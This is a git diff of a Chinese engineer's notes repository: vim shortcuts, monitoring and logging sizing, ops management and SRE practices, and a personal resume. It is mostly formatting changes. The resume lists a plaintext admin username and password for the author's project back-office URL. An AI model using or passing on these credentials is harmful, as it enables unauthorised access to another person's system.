在窗格间切换 - - Ctrl+ww 下个窗格 - - ctrl+w –>上下左右(先按ctrl+w,放开,再按方向键) + - Ctrl+ww 下个窗格 + - ctrl+w –>上下左右(先按ctrl+w,放开,再按方向键) - 下一个文件 - - :bn - - :n + - :bn + - :n - 上一个文件 - - :bp - - :N + - :bp + - :N - 显示文件缓存 - - :ls + - :ls - 移至该文档 - - :b 文档名或编号 \ No newline at end of file + - :b 文档名或编号 diff --git a/manage/design.md/README.md b/manage/design.md/README.md index 8ea2d39..58d766e 100644 --- a/manage/design.md/README.md +++ b/manage/design.md/README.md @@ -1 +1,7 @@ -1. 任何架构、组件、框架的引入,都会带来新的问题,我们在使用的时候一定要有相应的评估和解决方案。 \ No newline at end of file +--- +created_date: 2020-12-17 +--- + +[TOC] + +1. 任何架构、组件、框架的引入,都会带来新的问题,我们在使用的时候一定要有相应的评估和解决方案。 diff --git a/manage/design.md/selection.md b/manage/design.md/selection.md index 71213ba..999d514 100644 --- a/manage/design.md/selection.md +++ b/manage/design.md/selection.md @@ -1,36 +1,52 @@ +--- +created_date: 2021-07-12 +--- + +[TOC] + # 选型 + ## 监控 + ### zabbix 1. 配置与规模 - - 8c 32G - - 150台服务器,每台服务器平均100个监控,每个监控项平均1分钟收集数频率 + - 8c 32G + - 150台服务器,每台服务器平均100个监控,每个监控项平均1分钟收集数频率 #### 提高性能 + 1. 数据库读写分离 - - 通过mysql-proxy(lua实现的脚本) - - mysql-proxy是mysql官方提供的mysql中间件服务 - - https://downloads.mysql.com/archives/proxy/ - - 更改源代码 + - 通过mysql-proxy(lua实现的脚本) + - mysql-proxy是mysql官方提供的mysql中间件服务 + - https://downloads.mysql.com/archives/proxy/ + - 更改源代码 2. 添加 zabbix-proxy - ### prometheus ## 日志收集 + ### ES & Kibana + 1. 35G每日 - - 两个节点的集群 - - 8c 16G ES - - 8c 32G ES & Kibana - - index设置为一个分片一个副本 - - 每天数据收集量为15G ~ 35G + + - 两个节点的集群 + - 8c 16G ES + - 8c 32G ES & Kibana + - index设置为一个分片一个副本 + - 每天数据收集量为15G ~ 35G 2. 1200G每日 - - 20个节点的集群 - - 5c 8G ES client node ;memory 日常消耗7G ; cpu 日常消耗200m到500m - - 14c 24G ES data node ;memory 日常消耗16G ; cpu 日常消耗200m到2000m,有时会突增到7C。 - - - - index设置为一个分片一个副本 - - 每天数据收集量为1200G左右 ;200G左右 \ No newline at end of file + - 20个节点的集群 + + - 5c 8G ES client node ;memory 日常消耗7G ; cpu 日常消耗200m到500m + + - 14c 24G ES data node ;memory 日常消耗16G ; cpu 日常消耗200m到2000m,有时会突增到7C。 + + - + + - index设置为一个分片一个副本 + + - 每天数据收集量为1200G左右 ;200G左右 diff --git a/manage/design.md/system.md b/manage/design.md/system.md index 95fb2f5..1387cda 100644 --- a/manage/design.md/system.md +++ b/manage/design.md/system.md @@ -1,31 +1,49 @@ +--- +created_date: 2020-12-17 +--- + +[TOC] + ## 前台 中台 后台 + - 参考 - 1. https://blog.csdn.net/cxzhq2002/article/details/78616656?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control - 2. https://blog.csdn.net/weixin_42826672/article/details/103406132 + 1. https://blog.csdn.net/cxzhq2002/article/details/78616656?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control + 2. https://blog.csdn.net/weixin_42826672/article/details/103406132 1. 大中台立足于长远和全局 2. 前台立足于当下和局部 3. 大中台是个非常讲究战略方向、标准化、规范化的特定组织和系统,其能力和资源的整合的直接驱动力来自于自身对于业务的主动分析,而不是被动承接的特定业务,因此特别强调工作的主动性和创造性,也特别容易流于形式。 + ### 前台 - 1. 包括各种和用户直接交互的界面,比如web页面,手机app;也包括服务端各种实时响应用户请求的业务逻辑,比如商品查询、订单系统等等。 - 2. 简而言之 就是 给消费者 使用的系统。 - 3. 定位:盈利 + +``` +1. 包括各种和用户直接交互的界面,比如web页面,手机app;也包括服务端各种实时响应用户请求的业务逻辑,比如商品查询、订单系统等等。 +2. 简而言之 就是 给消费者 使用的系统。 +3. 定位:盈利 +``` ### 后台 - 1. 面向运营人员的配置管理系统,比如商品管理、物流管理、结算管理。后台为前台提供了一些简单的配置。 - 2. 定位:对前台进行配置管理等 + +``` +1. 面向运营人员的配置管理系统,比如商品管理、物流管理、结算管理。后台为前台提供了一些简单的配置。 +2. 定位:对前台进行配置管理等 +``` ### 中台 - 1. 将各个前台系统可以共享的模块抽取出来,作为共享资源。 - 2. 定位:使前台只需要关注并快速地进行业务模块开发。 +``` +1. 将各个前台系统可以共享的模块抽取出来,作为共享资源。 +2. 定位:使前台只需要关注并快速地进行业务模块开发。 +``` ## 网站 + ### 最小化由于某个组件导致整体受到的影响 + - 动态内容 - 静态内容 -电商平台为例 -静态内容(例如商品信息)缓存在CDN里。 -用户没有登入的情况下,网站就应该像一个静态网站一样,不会受到数据库中间件的影响而导致商品无法向客户展示。 + 电商平台为例 + 静态内容(例如商品信息)缓存在CDN里。 + 用户没有登入的情况下,网站就应该像一个静态网站一样,不会受到数据库中间件的影响而导致商品无法向客户展示。 -### 前端后端数据库 \ No newline at end of file +### 前端后端数据库 diff --git a/manage/manage.md b/manage/manage.md index d6b2839..5286061 100644 --- a/manage/manage.md +++ b/manage/manage.md @@ -1,42 +1,63 @@ +--- +created_date: 2021-01-08 +--- + +[TOC] + # 管理 + - 管理者 - 执行者 + ## 管理者 + - 抓大事,规划,用人 + 1. 抓大事 2. 规划:计划,制定目标,决策,指示等 3. 选才用人 - 1. 角色定位 + 1. 角色定位 ## 运维管理 + - 运维的定义 - 1. 运维,这里指互联网运维,通常属于技术部门,与研发、测试、系统管理同为互联网产品技术支撑的4大部门,这个划分在国内和国外以及大小公司间都会多少有一些不同。 - 2. 一个互联网产品的生成一般经历的过程是:产品经理、需求分析、研发部门开发、测试部门测试、运维部门部署发布以及长期的运行维护。 - 3. 运维,本质上是对网络、服务器、服务的生命周期各个阶段的运营与维护,在成本、稳定性、效率上达成一致可接受的状态。 + 1. 运维,这里指互联网运维,通常属于技术部门,与研发、测试、系统管理同为互联网产品技术支撑的4大部门,这个划分在国内和国外以及大小公司间都会多少有一些不同。 + 2. 一个互联网产品的生成一般经历的过程是:产品经理、需求分析、研发部门开发、测试部门测试、运维部门部署发布以及长期的运行维护。 + 3. 运维,本质上是对网络、服务器、服务的生命周期各个阶段的运营与维护,在成本、稳定性、效率上达成一致可接受的状态。 + ### 招聘 + - 基本运维能力 - 1. 项目运维经验 - 2. K8S经验 - 3. 公共服务管理经验 - 4. 工作经验 - + + 1. 项目运维经验 + 2. K8S经验 + 3. 公共服务管理经验 + 4. 工作经验 + - 运维工程化能力 - 1. 项目开发经验 + + 1. 项目开发经验 - 底层知识 - 1. 网络知识 - 1. TCP/IP 协议 + + 1. 网络知识 + 1. TCP/IP 协议 - 学习能力 - 1. 对技术的热爱程度 - 2. + + 1. 对技术的热爱程度 + 2. + ### 新员工入职 + 1. 快速上手 ### 职责 + 一线任务,每个人都应该可以搞定,保证对外业务不会因员工离职而导致出现问题 二线任务,专攻具体模块,提升运维团队整体技术能力 ## 衍生 + 1. 店长:运营能力 协调能力 激励能力 营销能力 - 1. 运营能力 短期规划 长期规划 达成目标 数据分析 \ No newline at end of file + 1. 运营能力 短期规划 长期规划 达成目标 数据分析 diff --git a/manage/manage1.md b/manage/manage1.md index e4dc750..3fcf990 100644 --- a/manage/manage1.md +++ b/manage/manage1.md @@ -1,20 +1,28 @@ +--- +created_date: 2025-01-22 +--- + +[TOC] + ## 需求与执行 + 1. 需求方:明确需求 2. 执行方:理解需求 3. 需求方和执行方讨论解决方案 - 1. 1 - 2. 2 - 3. 3 + 1. 1 + 2. 2 + 3. 3 4. 需求方和执行方选择一个解决方案,达成共识。 5. 执行方:执行。 ## 团队 + 1. 话事人 - 1. 我们要做什么 - 2. 制定指标和路线图 + 1. 我们要做什么 + 2. 制定指标和路线图 2. 管理 - 1. 我们怎么做 - 2. 从业务层,寻找最优解决方案 + 1. 我们怎么做 + 2. 从业务层,寻找最优解决方案 3. 执行 - 1. 我们去做 - 2. 从技术层,寻找最优解决方案 \ No newline at end of file + 1. 我们去做 + 2. 从技术层,寻找最优解决方案 diff --git a/manage/operation.md b/manage/operation.md index e229019..cb5284d 100644 --- a/manage/operation.md +++ b/manage/operation.md @@ -1,172 +1,212 @@ +--- +created_date: 2021-01-08 +--- + +[TOC] + - 参考 - - https://www.ibm.com/developerworks/architecture/library/ar-servgov/?S_CMP=cn-a-wes&S_TACT=105AGX52 + - https://www.ibm.com/developerworks/architecture/library/ar-servgov/?S_CMP=cn-a-wes&S_TACT=105AGX52 + # 运维 + 1. 保障服务正常的运行。 2. 维护好整个技术团队的工作流程。 3. 优化资源配置,节省成本。 4. 性能配置调优,提升用户体验。 + ## 核心 -1. 自动化 - - 解放自己的双手。减少了人力成本,降低了操作风险,提高运维效率 - - 方式:通过工具或者代码 + +1. 自动化 + - 解放自己的双手。减少了人力成本,降低了操作风险,提高运维效率 + - 方式:通过工具或者代码 2. 标准化 - - 解放同事的双手。 - - 方式:制定标准统一规范 -3. 工程化 - - 解放运维工程师。 - - 方式:封装成一个可高度定制化的运维平台 + - 解放同事的双手。 + - 方式:制定标准统一规范 +3. 工程化 + - 解放运维工程师。 + - 方式:封装成一个可高度定制化的运维平台 4. 智能化 - - 解放oncall。 - - 方式:智能预警智能解决 + - 解放oncall。 + - 方式:智能预警智能解决 + ### 内容 -1. 发布系统 - Jenkins + +01. 发布系统 - Jenkins + - 自动化发布/蓝绿部署/灰度发布 -2. 日志系统 - ELK +02. 日志系统 - ELK -3. 监控系统 - Zabbix Prometheus +03. 监控系统 - Zabbix Prometheus -4. 链路跟踪系统 - skywalking +04. 链路跟踪系统 - skywalking + +05. 告警系统 - 无 -5. 告警系统 - 无 - 直接获取告警信息 或 收集数据触发告警 - 分派告警信息给oncall -6. 服务可观测性 - Grafana +06. 服务可观测性 - Grafana + - 通过日志系统采集到的数据 - 通过监控系统采集到的数据 - 通过链路跟踪系统采集到的数据 -7. oncall体系(解决告警,处理琐事) +07. oncall体系(解决告警,处理琐事) + - 告警复盘--优化告警 - 琐事复盘--优化琐事 -8. 故障转移 +08. 故障转移 + - 节点故障不可以彻底避免,尤其是在低端服务器中 - 提高故障转移速度,减少对应用的影响 -9. 常规演练/灾难演练 +09. 常规演练/灾难演练 + - 潜在危机总有可能发生,平时多演练,当生产环境真正的出现问题时可以更好的从容不迫地面对与迅速解决 10. 资源容量管理 + - 资源使用评估 - 自动扩容缩容 11. **数据中心** + - 数据库主从 - 数据库读写分离 - 数据库备份 - 容灾/异地多活 12. 数据仓库 + - 存储海量数据 - 数据分析 13. 流量限制 + - 限制qps,防止服务无法承受住巨大的流量打击,或者在流量高增长后未完成扩容操作 14. 熔断 + - 将故障的影响降到最低,防止级联故障和雪崩 - 例如 Redis挂了,应用大面积请求Mysql,导致Mysql也挂了,最后系统崩溃 ## 服务治理 + - 服务治理是IT治理的一部分,它重点关注服务生命周期的相关要素,包括服务的架构、设计、发布、发现、版本治理、线上监控、线上管控、故障定界定位、安全性等。 + ### 服务分层 + 1. 基础设施 - 1. 服务器管理 - 1. 网络规划 - 3. 存储管理 + 1. 服务器管理 + 2. 网络规划 + 3. 存储管理 2. 底层服务 - 1. 数据库管理 - 2. kubernetes平台管理 - 3. 中间件管理 + 1. 数据库管理 + 2. kubernetes平台管理 + 3. 中间件管理 3. 应用服务 - 1. 业务应用管理 - 2. 服务注册与发现 + 1. 业务应用管理 + 2. 服务注册与发现 ### 服务类型 + 1. IAAS 基础设施即服务 - - 用户不用自己构建一个数据中心等硬件设施,而是通过租用的方式,利用 Internet从IaaS服务提供商获得计算机基础设施服务,包括服务器、存储和网络等服务。 - 1. 云厂商售卖虚拟服务器 - 2. Teroform - - 对接私有云或共有云 - - 实现基础设施管理,基础设施自动扩缩容,基础设施灰度发布 + - 用户不用自己构建一个数据中心等硬件设施,而是通过租用的方式,利用 Internet从IaaS服务提供商获得计算机基础设施服务,包括服务器、存储和网络等服务。 + 1. 云厂商售卖虚拟服务器 + 2. Teroform + - 对接私有云或共有云 + - 实现基础设施管理,基础设施自动扩缩容,基础设施灰度发布 2. PAAS - - 用户不需要管理与控制云端基础设施(包含网络、服务器、操作系统或存储),但需要控制上层的应用程序部署与应用托管的环境。 - 1. 云厂商售卖k8s集群 - 2. 日志服务平台 - 3. 监控平台 -3. SAAS - - 用户不需要管理基础设施和部署环境,只需要将应用打包为镜像,上传至任何云容器平台上。 - 1. Kubernete实现pod的自动扩缩容 + - 用户不需要管理与控制云端基础设施(包含网络、服务器、操作系统或存储),但需要控制上层的应用程序部署与应用托管的环境。 + 1. 云厂商售卖k8s集群 + 2. 日志服务平台 + 3. 监控平台 +3. SAAS + - 用户不需要管理基础设施和部署环境,只需要将应用打包为镜像,上传至任何云容器平台上。 + 1. Kubernete实现pod的自动扩缩容 ### 云原生 + - https://thenewstack.io/the-cloud-native-landscape-the-provisioning-layer-explained/ ## 运维系统 ### 发布系统 + - https://blog.csdn.net/qq_42234452/article/details/90906692 1. CI 2. CD 3. 配置更新 4. 数据库更新 - 1. yearning SQL审计系统 + 1. yearning SQL审计系统 5. 自动化功能测试/API测试/压力测试 - 部署方式 - 1. 蓝绿部署 - 2. 滚动发布 - k8s - 3. 灰度发布 - k8s - envoy + 1. 蓝绿部署 + 2. 滚动发布 + k8s + 3. 灰度发布 + k8s + envoy 4. 有效利用pre环境 - - 发布pre环境 - - 自动化功能测试、自动化API测试、自动化压力测试 - - 一切ok,上prod环境 + - 发布pre环境 + - 自动化功能测试、自动化API测试、自动化压力测试 + - 一切ok,上prod环境 ### 日志系统 + 使用ELK ### 监控系统 + Zabbix Prometheus APM ### 告警系统 + - 目的:及时发现系统问题,解决问题,维护稳定优化系统 + 1. 接收告警信息 2. 发布告警信息 3. 告警看板 4. 告警的抑制 ### 服务可观测性 + - 1 + 1. 中间件可观测性 2. 业务模块可观测行 + - 2 + 1. 软件存活状态 2. 软件是否可对外提供服务 3. 软件性能 + ### oncall体系 -1. 解决告警 - 1. 确定告警源(来自Prometheus、Zabbix、Kibana、Others) - 2. 确定告警规则 - 3. 确定告警数据的获取来源(如果是Kibana触发的,则查看是哪个索引触发的) - 4. 查看告警数据 - 5. 分析告警数据 获取触发告警的直接原因 - - 查看当前异常情况 - - 和历史数据进行对比 - 6. 解决告警,恢复业务正常 - 7. 总结 - - 确定根本性告警原因 - - 是否立刻影响了业务系统的正常运行 - - 是否为可以自动化解决告警 + +1. 解决告警 + 1. 确定告警源(来自Prometheus、Zabbix、Kibana、Others) + 2. 确定告警规则 + 3. 确定告警数据的获取来源(如果是Kibana触发的,则查看是哪个索引触发的) + 4. 查看告警数据 + 5. 分析告警数据 获取触发告警的直接原因 + - 查看当前异常情况 + - 和历史数据进行对比 + 6. 解决告警,恢复业务正常 + 7. 总结 + - 确定根本性告警原因 + - 是否立刻影响了业务系统的正常运行 + - 是否为可以自动化解决告警 ## 项目 + 1. 拓扑结构图 2. 各个环境配置信息 3. CICD @@ -174,4 +214,4 @@ APM 5. 服务可观测性 6. 有多少个服务 7. 依赖的外部服务 -8. 服务的源码 \ No newline at end of file +8. 服务的源码 diff --git a/manage/work/0.myresume.md b/manage/work/0.myresume.md index f559431..0079d6c 100644 --- a/manage/work/0.myresume.md +++ b/manage/work/0.myresume.md @@ -1,167 +1,209 @@ +--- +created_date: 2021-07-21 +--- + +[TOC] + -* 1. [个人作品](#个人作品) - * 1.1. [微信公众号](#微信公众号) - * 1.2. [开发运维相关的博客笔记](#开发运维相关的博客笔记) - * 1.3. [Grafana](#grafana) - * 1.4. [个人网站](#个人网站) - * 1.5. [Java项目](#java项目) - * 1.5.1. [基本信息](#基本信息) - * 1.5.2. [项目排期](#项目排期) - * 1.5.3. [个人收获](#个人收获) -* 2. [工作经历](#工作经历) - * 2.1. [实习经历](#实习经历) - * 2.1.1. [隽天保险经纪公司](#隽天保险经纪公司) - * 2.1.2. [MODELO公司(中文名为“模袋”)](#modelo公司(中文名为“模袋”)) - * 2.2. [正式工作](#正式工作) - * 2.2.1. [上海万向区块链公司](#上海万向区块链公司) - * 2.2.2. [上海格罗夫科技有限公司](#上海格罗夫科技有限公司) -* 3. [运维宗旨](#运维宗旨) -* 4. [爱好](#爱好) + +- 1. [个人作品](#%E4%B8%AA%E4%BA%BA%E4%BD%9C%E5%93%81) + - 1.1. [微信公众号](#%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7) + - 1.2. [开发运维相关的博客笔记](#%E5%BC%80%E5%8F%91%E8%BF%90%E7%BB%B4%E7%9B%B8%E5%85%B3%E7%9A%84%E5%8D%9A%E5%AE%A2%E7%AC%94%E8%AE%B0) + - 1.3. [Grafana](#grafana) + - 1.4. [个人网站](#%E4%B8%AA%E4%BA%BA%E7%BD%91%E7%AB%99) + - 1.5. [Java项目](#java%E9%A1%B9%E7%9B%AE) + - 1.5.1. [基本信息](#%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF) + - 1.5.2. [项目排期](#%E9%A1%B9%E7%9B%AE%E6%8E%92%E6%9C%9F) + - 1.5.3. [个人收获](#%E4%B8%AA%E4%BA%BA%E6%94%B6%E8%8E%B7) +- 2. [工作经历](#%E5%B7%A5%E4%BD%9C%E7%BB%8F%E5%8E%86) + - 2.1. [实习经历](#%E5%AE%9E%E4%B9%A0%E7%BB%8F%E5%8E%86) + - 2.1.1. [隽天保险经纪公司](#%E9%9A%BD%E5%A4%A9%E4%BF%9D%E9%99%A9%E7%BB%8F%E7%BA%AA%E5%85%AC%E5%8F%B8) + - 2.1.2. [MODELO公司(中文名为“模袋”)](#modelo%E5%85%AC%E5%8F%B8%EF%BC%88%E4%B8%AD%E6%96%87%E5%90%8D%E4%B8%BA%E2%80%9C%E6%A8%A1%E8%A2%8B%E2%80%9D%EF%BC%89) + - 2.2. [正式工作](#%E6%AD%A3%E5%BC%8F%E5%B7%A5%E4%BD%9C) + - 2.2.1. [上海万向区块链公司](#%E4%B8%8A%E6%B5%B7%E4%B8%87%E5%90%91%E5%8C%BA%E5%9D%97%E9%93%BE%E5%85%AC%E5%8F%B8) + - 2.2.2. [上海格罗夫科技有限公司](#%E4%B8%8A%E6%B5%B7%E6%A0%BC%E7%BD%97%E5%A4%AB%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8) +- 3. [运维宗旨](#%E8%BF%90%E7%BB%B4%E5%AE%97%E6%97%A8) +- 4. [爱好](#%E7%88%B1%E5%A5%BD) + + # 我的履历 -## 1. 个人作品 -### 1.1. 微信公众号 + +## 1. 个人作品 + +### 1.1. 微信公众号 + - 账户名称:X1577786 - 内容:大学时分享校内关于 R 语言、Android 、Java 的习题答案 和 IT学习笔记 - 内容:现在分享金融投资和对生活的思考 -### 1.2. 开发运维相关的博客笔记 +### 1.2. 开发运维相关的博客笔记 + - 此链接不再更新。 https://blog.csdn.net/IMPlove 记录自己在开发过程中遇到的不易于解决的问题。 - 此链接一直在更新。 https://github.com/garysdevil/ITNote -### 1.3. Grafana +### 1.3. Grafana + - 账户链接 https://grafana.com/orgs/garysdevil/dashboards -### 1.4. 个人网站 +### 1.4. 个人网站 + - 网站地址:http://garys.top/ - 功能:玩玩而已,之后有时间会做一些好玩的东西,最近没有更新。 -### 1.5. Java项目 -#### 1.5.1. 基本信息 +### 1.5. Java项目 + +#### 1.5.1. 基本信息 + 1. 背景:导师叫帮开发的一个项目。 2. 项目名称:工程咨询人员胜任力测评网站 3. 项目功能:建筑工程师在网站上进行答题测评,考官在后台进行评卷,系统自动生成图表。 4. 时间:3个月;2018.08 -- 2018.10 5. 访问地址 - - 前台界面 http://garys.top/PMQ/front/register - - 后台界面: http://garys.top/PMQ/admin/login 超级用户:gary 密码:gary + - 前台界面 http://garys.top/PMQ/front/register + - 后台界面: http://garys.top/PMQ/admin/login 超级用户:gary 密码:gary 6. 人员: - - 需求方以及项目指导师傅:上海电力大学导师 胡伟老师。 - - 需求分析工程师:胡伟,王凌霄,谢世刚。 - - UI工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 - - 前端开发工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 - - 后端开发工程师:谢世刚。 + - 需求方以及项目指导师傅:上海电力大学导师 胡伟老师。 + - 需求分析工程师:胡伟,王凌霄,谢世刚。 + - UI工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 + - 前端开发工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 + - 后端开发工程师:谢世刚。 + +#### 1.5.2. 项目排期 -#### 1.5.2. 项目排期 1. 阶段一:大家讨论,分析需求。 2. 阶段二:自学Axure,并且用 Axure 画原型图。 3. 阶段三:进行数据库表格的设计。需要什么表,什么字段等等。 4. 阶段四:技术选型: - - IDE集成开发环境:Eclipse。 - - 本地依赖包仓库:maven - - Web服务器:Tomcat,Nginx - - 版本控制:svn - - 数据库:Mysql。 - - 前后端是否分离:前后端分离;前后端通过restful API接口进行json格式的数据传输;通过session进行会话的保持;前端使用js进行数据渲染。 - - 前端语言以及框架:javascript、html、css,jQuery、jsPDF、echarts。 - - 后端语言以及框架:Java,Spring、SpringMVC、Mybatis。 - - 后端架构:使用经典的层级模式架构;DAO层、逻辑层、控制层。 + - IDE集成开发环境:Eclipse。 + - 本地依赖包仓库:maven + - Web服务器:Tomcat,Nginx + - 版本控制:svn + - 数据库:Mysql。 + - 前后端是否分离:前后端分离;前后端通过restful API接口进行json格式的数据传输;通过session进行会话的保持;前端使用js进行数据渲染。 + - 前端语言以及框架:javascript、html、css,jQuery、jsPDF、echarts。 + - 后端语言以及框架:Java,Spring、SpringMVC、Mybatis。 + - 后端架构:使用经典的层级模式架构;DAO层、逻辑层、控制层。 5. 阶段五:进行业务逻辑的编程,前端页面的实现,数据的渲染。 6. 阶段六:在 linux 系统上进行测试环境部署,进行数据库的优化,游览器兼容性测试。 -#### 1.5.3. 个人收获 +#### 1.5.3. 个人收获 + - 了解到了一个项目的整个开发流程。 - 学习并且运用了Spring,SpringMVC,Mybatis框架进行项目开发。 - 使自己在项目开发中能独当一面。 -## 2. 工作经历 -### 2.1. 实习经历 -#### 2.1.1. 隽天保险经纪公司 +## 2. 工作经历 + +### 2.1. 实习经历 + +#### 2.1.1. 隽天保险经纪公司 + - 时间:2个月 2018.07 -- 2018.08 -- 岗位:Java 开发实习生 +- 岗位:Java 开发实习生 - 工作内容:测试案例的编写与执行,制作公司的 APP《多荟保》的微信小程序界面。 - 个人收获:学习并制作了小程序;主要思想:模块化。 -#### 2.1.2. MODELO公司(中文名为“模袋”) +#### 2.1.2. MODELO公司(中文名为“模袋”) + - 时间:8个月 2018.10---2019.06 - 岗位:后端开发实习工程师 - 主要工作内容: - - 维护公司网站 https://www.modeloapp.com/ 后端基于Nodejs编写的项目代码,根据需求编写新的 API 接口。 - - 参与公司新项目的设计与编码实现。负责模块:文字输入,然后展示对应的3D图像位置。 + - 维护公司网站 https://www.modeloapp.com/ 后端基于Nodejs编写的项目代码,根据需求编写新的 API 接口。 + - 参与公司新项目的设计与编码实现。负责模块:文字输入,然后展示对应的3D图像位置。 - 其它工作内容:写 Python Seledium爬虫,搭建 ffmpeg 转 rstp 为 hls 的服务器,使用 Docker 容器化后端服务等。 - 技术栈:NodeJs,Github,MongoDB,Postsql。 - 个人收获: - - 通过自学和导师的指导,学会了使用Nodejs进行后端代码的编写;nodejs语言机制天生是异步的,容易造成多层嵌套,使用async等关键字使代码结构减少嵌套并且保持整洁。 - - 通过视频全面自学了docker,并且运用在了生产环境上。 - - 学习使用了Python Seledium 进行了爬虫。 + - 通过自学和导师的指导,学会了使用Nodejs进行后端代码的编写;nodejs语言机制天生是异步的,容易造成多层嵌套,使用async等关键字使代码结构减少嵌套并且保持整洁。 + - 通过视频全面自学了docker,并且运用在了生产环境上。 + - 学习使用了Python Seledium 进行了爬虫。 + +### 2.2. 正式工作 + +#### 2.2.1. 上海万向区块链公司 -### 2.2. 正式工作 -#### 2.2.1. 上海万向区块链公司 - 时间:一年3个月 2019.07---2020.09 + - 岗位:SRE工程师 + - 工作内容一:私有云Vsphere管理,PowerShell自动化创建虚拟机。 + - 工作内容二:公链区块链全节点的部署与维护。例如 BTC,ETH。根据官方文档在Linux系统上进行部署,进行块高监控及时发现问题解决问题。 + - 工作内容三:使用Zabbix,Prometheus 对业务系统监控的,使用Grafana进行数据的展示。 + - 工作内容四:Platone联盟链的脚本化运维。一键部署,一键查看块高,一键查看日志。 + - 工作内容五:从0到1,负责DID数字钱包 https://me.hashkey.com 整个项目的运维,对接测试工程师研发工程师项目管理人员。 - - 通过Vsphere创建服务器,通过ansible刷基线。 - - 部署于ansible脚本进行一键部署K8s平台。 - - Mysql数据主从部署。 - - 中间件Nacos、Redis、Minio 通过yaml一键部署在k8s平台里。 - - 编写微服务的deployment,hpa 等k8s的yaml描述文件。 - - 使用 Jenkins Pipeline 进行CICD。 - - 通过Zabbix进行主机监控,Prometheus进行容器监控。 - - 通过ingress-traefic将服务对外暴露。 + + - 通过Vsphere创建服务器,通过ansible刷基线。 + - 部署于ansible脚本进行一键部署K8s平台。 + - Mysql数据主从部署。 + - 中间件Nacos、Redis、Minio 通过yaml一键部署在k8s平台里。 + - 编写微服务的deployment,hpa 等k8s的yaml描述文件。 + - 使用 Jenkins Pipeline 进行CICD。 + - 通过Zabbix进行主机监控,Prometheus进行容器监控。 + - 通过ingress-traefic将服务对外暴露。 + - 工作内容六:基于Golang语言制作运维平台的单点登入系统。 - 个人收获: - - 学习并且在测试环境、预发布环境、生产环境使用了K8S。 - - 进一步学习和运用了Linux和Shell。 - - 学会了Jenkins Pipeline的使用。 - - 熟练掌握了Zabbix监控,以及学习了Prometheus和Grafana并且进行了运用。 - - 学习并且使用Golang语言进行了项目的开发。 - - 交流技能:体会到了相对于开发,运维需要和更多的人进行对接与交流,需要及时反馈及时跟踪。 - - 运维技能:自己可以在运维工作中独当一面。 - -#### 2.2.2. 上海格罗夫科技有限公司 + + - 学习并且在测试环境、预发布环境、生产环境使用了K8S。 + - 进一步学习和运用了Linux和Shell。 + - 学会了Jenkins Pipeline的使用。 + - 熟练掌握了Zabbix监控,以及学习了Prometheus和Grafana并且进行了运用。 + - 学习并且使用Golang语言进行了项目的开发。 + - 交流技能:体会到了相对于开发,运维需要和更多的人进行对接与交流,需要及时反馈及时跟踪。 + - 运维技能:自己可以在运维工作中独当一面。 + +#### 2.2.2. 上海格罗夫科技有限公司 + - 时间 2020.09---至今 + - 岗位 运维工程师 + - 日常工作内容; - - 电商平台网站维护。例如 https://floryday.com/ https://airydress.com/ - - ERP项目维护(非容器化)。例如对某个项目进行改造进行平滑升级,主要是通过aws 的 target group健康检测,选择流量流入的节点来实现。 - - 基于Jenkins进行CICD。 - - 基于Prometheus,Zabbix进行监控配置,告警配置。 - - 基于ELK的日志收集。 - - 办公软件维护:Jenkins,Jumpserver,Jira,Confluence。 + + - 电商平台网站维护。例如 https://floryday.com/ https://airydress.com/ + - ERP项目维护(非容器化)。例如对某个项目进行改造进行平滑升级,主要是通过aws 的 target group健康检测,选择流量流入的节点来实现。 + - 基于Jenkins进行CICD。 + - 基于Prometheus,Zabbix进行监控配置,告警配置。 + - 基于ELK的日志收集。 + - 办公软件维护:Jenkins,Jumpserver,Jira,Confluence。 - 一次性工作: - - 学习并且使用Logstash,将aws的CloudWatch里的EKS master节点日志采集进ES里,使用gork进行日志切割,提取出一些关键字进行dashboard绘图。 - - 使用Golang编写一个程序将AWS Redis的慢日志收集进ELK。(编程开发) - - 使用Skywalking对PHP项目进行监控。 - - 研究Envoy,对某个项目进行灰度发布,等待长连接的释放。 - - kubernetes-sigs/descheduler项目二次开发,增加基于实际资源使用情况的二次调度。(编程开发) - - 镜像 https://hub.docker.com/repository/docker/garysdevil/descheduler - - 使用文档 https://github.com/garysdevil/descheduler/blob/gary/README-LowNodeActualUtilization.md - - 使用kube-state-metrics v2 监控k8s集群的状态,使用Grafana对kube-state-metrics v2进行画图。 - - 各种中间件的部署:nacos集群高可用、maxwell解析binlog... + + - 学习并且使用Logstash,将aws的CloudWatch里的EKS master节点日志采集进ES里,使用gork进行日志切割,提取出一些关键字进行dashboard绘图。 + - 使用Golang编写一个程序将AWS Redis的慢日志收集进ELK。(编程开发) + - 使用Skywalking对PHP项目进行监控。 + - 研究Envoy,对某个项目进行灰度发布,等待长连接的释放。 + - kubernetes-sigs/descheduler项目二次开发,增加基于实际资源使用情况的二次调度。(编程开发) + - 镜像 https://hub.docker.com/repository/docker/garysdevil/descheduler + - 使用文档 https://github.com/garysdevil/descheduler/blob/gary/README-LowNodeActualUtilization.md + - 使用kube-state-metrics v2 监控k8s集群的状态,使用Grafana对kube-state-metrics v2进行画图。 + - 各种中间件的部署:nacos集群高可用、maxwell解析binlog... - 个人收获 - - aws公有云各种服务的学习与日常使用。例如 alb,elb,rds,eks,route53,ec2... - - 日志收集:学习并且在测试环境部署了ES、Kibana、Filebeat,对应用日志进行收集;维护生产环境的ELK集群;学习并且使用了Logstash收集日志并且使用gork对日志进行切割提取关键字,使用dashboard进行画图。 - - CICD思想:将构建部署、线上发布二次确认都集中在了Jenkins里,解放运维工程师的双手。 - - 网络知识收获:透明代理,iptables,ipset,dnsmasq. - - 运维思想: - - 一个服务,从客户的访问到客户获取结果,必将有一个数据流。把要运维的任何一个项目的这个数据流走向弄清楚,画出流程图。 - - 